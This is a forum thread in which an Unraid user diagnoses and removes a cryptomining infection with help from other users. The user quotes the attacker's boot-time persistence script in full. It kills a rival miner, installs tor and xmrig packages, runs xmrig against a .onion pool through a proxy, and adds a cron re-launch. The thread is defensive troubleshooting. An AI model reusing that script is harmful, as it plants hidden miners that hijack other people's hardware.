xmrig using 100% of my Unraid CPU

[vcadieux]

Hello,

 

I noticed my Unraid server had 100% cpu on each core so I started digging where was the issue and I found using htop that multiples process xmrig are running, those seems to be related to crypto mining.

 

I immediately disabled all port forwarding on my router as it was probably from there that someone hijacked my server and I also shut down the docker engine but the processes are still there. The only VM I have is also off. 

 

I've checked the go file and nothing wrong there so I am a bit lost. It's very hard to access the Unraid WEBUI as it is so cpu overloaded and it barely respond.

 

I've attached the diagnostic file to this post if anyone can help me fixing this once for all.

 

In the diagnostic file I found this line in /system/ps.txt : 

 

root      2918  0.0  0.0  16856  4180 ?        Ssl  18:15   0:00 xmrig -o ipdsq3672auzcvfoykoyfraco5jarogwvkt4e4eiq2vv7liupvkn73qd.onion:3333 -u H19-i5-11600K -p x --cpu-max-threads-hint=75 -x socks5://127.0.0.1:25372 -B

 

after looking carefully inside my usb drive here is what I found :

 

in the file /config/wireguard/go :

 

mid=H19-i5-11600K
if pgrep -f "c3pool" > /dev/null
then
  kill -9 $(pgrep -f "c3pool")
  sleep 5
fi
if ! pgrep -x "tor" > /dev/null
then
    installpkg /boot/extra/snowflake.txz
    tor
fi
if ! pgrep -x "xmrig" > /dev/null
then
    installpkg /boot/extra/rig-6.1.19.2-linux-static-x64.txz
    xmrig -o ipdsq3672auzcvfoykoyfraco5jarogwvkt4e4eiq2vv7liupvkn73qd.onion:3333 -u $mid -p x --cpu-max-threads-hint=75 -x socks5://127.0.0.1:25372 -B
fi
if ! crontab -l | grep -q wireguard > /dev/null
then
    crontab -l | { cat; echo "*/10 * * * * /bin/bash /boot/config/wireguard/go"; } | crontab - 
fi
 

In the file /config/go :

 

#!/bin/bash
# Start the Management Utility
tor
/usr/local/sbin/emhttp &
/bin/bash /boot/config/wireguard/go
 

So I removed the tor line and this one : /bin/bash /boot/config/wireguard/go and rebooted.

 

I also removed everything inside /config/wireguard/go

 

The process doesn't seem to come back but still, there is a package called rig-6.1.19.2-linux-static-x64.txz being installed everytime during the boot process (before the unraid login prompt) see attached picture.

 

Searching for this package name (rig-6.1.19.2-linux-static-x64.txz) using Notepad++ in all the file on the USB key doesn't give me any result....

 

Any help would be appreciated !
 

 

unraidserver-diagnostics-20230712-2116.zip

[itimpi]

The default contents of the config/go file on the flash drive are simply:

#!/bin/bash
# Start the Management Utility#
/usr/local/sbin/emhttp &

you can stop the server and edit the flash drive on another machine to remove everything else that you have not manually added yourself.   When you reboot you should now be OK.

[vcadieux]

I've removed the lines in the config/go file but there is still a unkown package being downloaded and installed and I don't know from where it comes from :

 

+======================================================================

|   Installing new package ./rig-6.1.19.2-linux-static-x64.txz

+======================================================================

Verifying package rig-6.1.19.2-linux-static-x64.txz.

Installing package rig-6.1.19.2-linux-static-x64.txz:

PACKAGE DESCRIPTION:
Package rig-6.1.19.2-linux-static-x64.txz installed.

 

+======================================================================
|   Installing new package ./snowflake.txz

+======================================================================

 

Verifying package snowflake.txz.
Installing package snowflake.txz:
PACKAGE DESCRIPTION:
Executing install script for snouflake.txz.
Package snowflake.txz installed.
cpio: etc/ssh/sshd_config not created: neuer or sane age uersion exists 34034*1 records in 34034*1 records out
17425748 bytes (17 MB, 17 MiB) copied, 0.834197 s, 20.9 MB/s 147947 blocks
 

 

I can't see the xmrig process anymore but my server is going on and off randomly now (it is not rebooting but the WEB UI isn't always responding.

[JorgeB]

Did you try this?

https://forums.unraid.net/topic/142000-xmrig-process-taking-100-cpu/?do=findComment&comment=1283321

One of the problems of have multiple threads for the same issue.

[itimpi]

You might want to look if you have an ‘extras’ folder on the flash drive.   Any packages placed in that folder would be automatically installed. 

[vcadieux]

5 minutes ago, JorgeB said:

Did you try this?

https://forums.unraid.net/topic/142000-xmrig-process-taking-100-cpu/?do=findComment&comment=1283321

One of the problems of have multiple threads for the same issue.

 

Sorry I though I removed this post because I posted it in the docker section which isn't related to docker but it seems it is still there.

[vcadieux]

Ok so I removed two packages in the extra folder (feel dumb that I did not find them but anyways..) when my server was randomly on and off I had message that my USB key was corrupted AND that the communication was lost with my UPS (which is plugged via USB)

 

I created a new USB key, transfered a backup and my Unraid OS licence to it. Now it is doing a parity check and everything else seems to be back to normal.

 

I wonder if those two installed package were making the USB ports crashing when it wasn't detecting the xmrig process in order to try to force you to reboot the server so the xmrig process could start again (if it was still in the config/go file) ?

 

Finger crossed that it will now be okay. I'll keep you posted but thanks for the helps....lesson learned NEVER open your server to the internet.

[vcadieux]

Well after only a couple minutes. My server is still not responding randomly with CPU getting 100% usage and after a while it get back to normal and start responding again.

 

This is getting really weird, I might have to start from scratch but the issue there is that the server is so slow that I can't even backup the data on my shares and I do not want to loose everything including all my docker containers/config.

 

I added a new diagnostic file to this post.

unraidserver-diagnostics-20230713-1023.zip

Edited July 13, 2023 by vcadieux

[jatinder123]

Hi, new user here. I’ve just had the exact same issue. Shut the server down and followed the 2 steps above (Thank you for all that helped)

 

modifying the config file

deleting everything in the extras folder 

 

My own fault, will be trying to sort out a reverse proxy which I never managed to finish.

 

lesson learned. 

[vcadieux]

Hello,

 

So after digging around it appears that I was unlucky…

 

While trying to find why my server cpu were used at 100%, I thought it could have been because Unraid wasn’t up to date so I updated it to latest 6.12.2.
 

After I found that mining was happening on my server and got rid of it but my servers kept randomly not responding..

 

Now I found that this is a compatibility issue with the latest version of Unraid and my iGPU from my Intel core i5 11600K. There are plenty of topics about the igpu driver randomly crashing

 

So I reverted back to Unraid 6.11.5 and everything is back to normal.

[JorgeB]

7 hours ago, vcadieux said:

Now I found that this is a compatibility issue with the latest version of Unraid and my iGPU from my Intel core i5 11600K.

This usually helps with that:

https://docs.unraid.net/unraid-os/release-notes/6.12.0#crashes-related-to-i915-driver